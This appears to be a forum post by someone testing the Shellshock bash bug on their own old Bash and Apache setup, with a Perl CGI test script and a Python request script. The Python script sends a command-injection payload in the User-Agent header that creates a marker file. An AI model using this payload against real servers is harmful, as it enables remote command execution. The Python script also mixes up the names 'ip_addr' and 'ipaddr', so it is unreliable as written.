Odd. I am running quite old software:
echo $0 -> bash
ls -l /bin/sh -> /bin/bash
GNU bash, version 3.1.17(2)-release
Apache/2.2.25
And I couldn't reproduce the vurnerability in a perl cgi script unless I had explicitly referenced an environment variable in the system() call like I posted above. I thought all versions are vurnerable.
#test-cgi.pl
use strict;
use warnings;
use CGI;
print "Content-Type: text/plain\n\n";
my $q = CGI->new();
print "\nHEADERS:\n==============\n";
my %headers = map { $_ => $q->http($_) } $q->http();
foreach my $k ( keys %headers ) {
print "$k\n $headers{$k}\n";
}
system("echo hello");
#request.py
import socket
def build_request(meth, host, path, headers=None):
req = "%s %s HTTP/1.0\r\nHost: %s\r\n" % (meth, path, host)
if headers is not None:
req = req + "\r\n".join(headers) + "\r\n"
return req + "\r\n"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip_addr = 'xxx.xxx.xxx.xxx'
sock.connect((ip_addr, 80))
headers = [
'User-Agent:() { :; }; /bin/touch /tmp/testshellshock;',
]
req = build_request("GET", ipaddr, "/cgi-bin/test-cgi.pl", headers)
sock.sendall(req)